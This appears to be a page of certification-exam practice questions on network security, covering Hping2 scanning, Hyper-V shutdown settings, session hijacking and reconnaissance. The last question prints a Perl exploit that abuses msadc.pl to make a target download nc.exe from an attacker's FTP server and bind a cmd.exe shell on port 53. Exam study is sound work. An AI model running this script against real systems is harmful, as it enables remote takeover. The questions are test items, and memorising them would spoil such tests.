Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except the ports that must be used. He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about the programs like Hping2 that can get into a network through covert channels.
Which of the following is the most effective way to protect the network of the company from an attacker using Hping2 to scan his internal network?

• A.Block all outgoing traffic on port 53
• B.Block ICMP type 13 messages
• C.Block ICMP type 3 messages
• D.Block all outgoing traffic on port 21

Comment: *

Name: *

Email: *

Verification: *

You work as a System Engineer for Cyber World Inc. Your company has a single Active Directory domain. All servers in the domain run Windows Server 2008. The Microsoft Hyper-V server role has been installed on one of the servers, namely uC1. uC1 hosts twelve virtual machines. You have been given the task to configure the Shutdown option for uC1, so that each virtual machine shuts down before the main Hyper-V server shuts down.
Which of the following actions will you perform to accomplish the task?

• A.Enable the Shut Down the Guest Operating System option in the Automatic Stop Action Properties on each virtual machine.
• B.Manually shut down each of the guest operating systems before the server shuts down.
• C.Create a batch file to shut down the guest operating system before the server shuts down.
• D.Create a logon script to shut down the guest operating system before the server shuts down.

Comment: *

Name: *

Email: *

Verification: *

Which of the following takes control of a session between a server and a client using TELNET, FTP, or any other non-encrypted TCP/IP utility?

• A.Dictionary attack
• B.Session Hijacking
• C.Trojan horse
• D.Social Engineering

Comment: *

Name: *

Email: *

Verification: *

Which of the following statements about reconnaissance is true?

• A.It describes an attempt to transfer DNS zone data.
• B.It is a computer that is used to attract potential intruders or attackers.
• C.It is any program that allows a hacker to connect to a computer without going through the normal authentication process.
• D.It is also known as half-open scanning.

Comment: *

Name: *

Email: *

Verification: *

Adam, a malicious hacker performs an exploit, which is given below:
#####################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = '[email protected]';# password
#####################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h
$host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host - C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet
$host $port"); exit(0);
Which of the following is the expected result of the above exploit?

• A.Creates an FTP server with write permissions enabled
• B.Opens up a telnet listener that requires no username or password
• C.Creates a share called "sasfile" on the target system
• D.Opens up a SMTP server that requires no username or password

Comment: *

Name: *

Email: *

Verification: *